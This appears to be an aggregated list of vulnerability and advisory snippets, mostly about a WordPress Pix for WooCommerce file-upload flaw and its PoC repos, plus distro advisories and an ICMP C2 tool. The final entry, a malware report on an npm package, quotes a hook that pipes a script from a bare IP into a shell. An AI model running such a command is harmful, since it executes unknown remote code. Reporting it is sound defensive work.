CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit 🛡️ Description CVE-2026-3891 is a critical Unauthenticated Arbitrary File Upload vulnerability found in the Pix for WooCommerce WordPress plugin in versions up to and including 1.5.0. The vulnerability exists in the lknpixforwoocommercec6savesetting...

PiX-C2

PiX-C2 Aplicación de servidor C2 ICMP escrito por NoCow email: [email protected] El proyecto ICMP C2 es decir, PiX-C2 es una aplicación cliente/servidor que permite el comando y control utilizando solo ICMP. El servidor olfateará paquetes ICMP y extraerá información de la carga útil de datos...

Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload

The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lknpixforwoocommercec6savesettings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated...

CVE-2026-3891

CVE-2026-3891 — Pix for WooCommerce Unauthenticated File Upload RCE Nonce Leak → certificatecrtpath Upload → Code Execution Overview CVE-2026-3891 is a critical-severity CVSS 9.8 unauthenticated arbitrary file upload vulnerability in the Pix for WooCommerce WordPress plugin by linknacional versio...

CVE-2026-3891

Pix for WooCommerce = 1.5.0 - Subida de Archivos Arbitraria No Autenticada CVE-2026-3891 PoC 📜 Descripción CVE-2026-3891 es una vulnerabilidad de subida de archivos arbitraria no autenticada en el plugin de WordPress Pix for WooCommerce. El plugin expone un endpoint AJAX...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce = 1.5.0 - Subida de archivos arbitraria no autenticada 💣 Pix for WooCommerce = 1.5.0 – Subida de archivos arbitraria no autenticada CVE-2026-3891 👤 Nxploited 🧩 Descripción El plugin Pix for WooCommerce para WordPress es vulnerable a la subida de archivos arbitrar...

CVE-2019-20326

CVE-2019-20326 GNOME gThumb y Linux Mint Pix utilizan el módulo cairoio para mostrar varios formatos de imagen con la biblioteca gráfica Cairo. En versiones de gThumb 3.8.3 y Pix 2.4.5, cairoio es vulnerable a un desbordamiento del búfer del montón mediante una imagen JPEG con un ancho o alto...

CVE-2026-3891

🚀 CVE-2026-3891 – Pix for WooCommerce Unauthenticated File Upload RCE Proof‑of‑Concept exploit for CVE-2026-3891 – unauthenticated arbitrary file upload leading to remote code execution in the Pix for WooCommerce WordPress plugin ≤ 1.5.0. 📖 Overview CVE-2026-3891 is a critical vulnerability in th...

CVE-2026-3891-Linux

███████╗██████╗ ██╗███████╗███╗ ██╗██████╗ ███████╗ ██╔════╝██╔══██╗██║██╔════╝████╗ ██║██╔══██╗██╔════╝ █████╗ ██████╔╝██║█████╗ ██╔██╗ ██║██║ ██║███████╗ ██╔══╝ ██╔══██╗██║██╔══╝ ██║╚██╗██║██║ ██║╚════██║ ██║ ██║ ██║██║███████╗██║ ╚████║██████╔╝███████║ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═══╝╚═════╝...

Debian dsa-6509 : gimp - security update

The remote Debian 13 host has packages installed that are affected by multiple vulnerabilities as referenced in the dsa-6509 advisory. - ------------------------------------------------------------------------- Debian Security Advisory DSA-6509-1 [email protected] https://www.debian.org/securit...

CVE-2026-92430

The Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit WordPress plugin before 5.4.7 does not verify the authenticity of its PIX payment webhook before updating an order's status, allowing unauthenticated attackers to mark a pending order as paid without paying...

CVE-2026-92430

The Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit WordPress plugin, affecting versions 3.6.1-5.4.6 , contains an unauthenticated order status manipulation vulnerability. The root cause is the failure to verify the authenticity of its PIX payment webhook before updating an order's...

CVE-2026-92430 Rede Itaú for WooCommerce < 5.4.7 - Unauthenticated Order Status Manipulation via PIX Webhook

The Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit WordPress plugin before 5.4.7 does not verify the authenticity of its PIX payment webhook before updating an order's status, allowing unauthenticated attackers to mark a pending order as paid without paying...

EUVD-2026-83516

The Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit WordPress plugin before 5.4.7 does not verify the authenticity of its PIX payment webhook before updating an order's status, allowing unauthenticated attackers to mark a pending order as paid without paying...

CVE-2026-92430 Rede Itaú for WooCommerce < 5.4.7 - Unauthenticated Order Status Manipulation via PIX Webhook

The Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit WordPress plugin before 5.4.7 does not verify the authenticity of its PIX payment webhook before updating an order's status, allowing unauthenticated attackers to mark a pending order as paid without paying...

CVE-2026-92430: Missing Authorization

The Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit WordPress plugin before 5.4.7 does not verify the authenticity of its PIX payment webhook before updating an order's status, allowing unauthenticated attackers to mark a pending order as paid without paying...

openSUSE 16: gimp / gimp-devel / gimp-extension-goat-excercises / gimp-lang / etc (openSUSE-SU-2026:21869-1)

The remote openSUSE 16 host has packages installed that are affected by multiple vulnerabilities as referenced in the openSUSE-SU-2026:21869-1 advisory. Changes in gimp: - CVE-2026-78465: 32-bit integer overflow in PCX image memory calculations can cause undersized heap allocations bsc1277378 -...

OPENSUSE-SU-2026:21869-1 Security update for gimp

This update for gimp fixes the following issues: Changes in gimp: - CVE-2026-78465: 32-bit integer overflow in PCX image memory calculations can cause undersized heap allocations bsc1277378 - CVE-2026-78475: unbounded variable-length stack allocations in the PIX loader can cause stack exhaustion...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: video: fbdev: i740fb: Check the argument of i740calcvclk Since the user can control the arguments of the ioctl function from the user space, special arguments may lead to a divide-by-zero bug. If the user provides an improper...

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...